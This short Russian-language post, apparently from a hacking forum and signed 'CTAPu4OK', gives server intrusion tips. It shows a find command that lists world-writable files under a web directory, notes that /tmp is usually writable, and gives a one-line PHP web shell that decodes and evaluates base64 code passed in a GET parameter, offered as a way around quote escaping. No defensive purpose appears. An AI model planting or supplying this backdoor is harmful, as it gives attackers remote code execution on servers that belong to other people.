CTAPu4OK
поиск доступных файлов/папок для записи:
find /home/data/www -perm -2 -ls

доступ к /tmp/bla.php есть практически всегда

если у тебя есть возможность выполнять php код на сервере то с кавычками можно бороться так:
<?eval(base64_decode($_GET[shell]));?>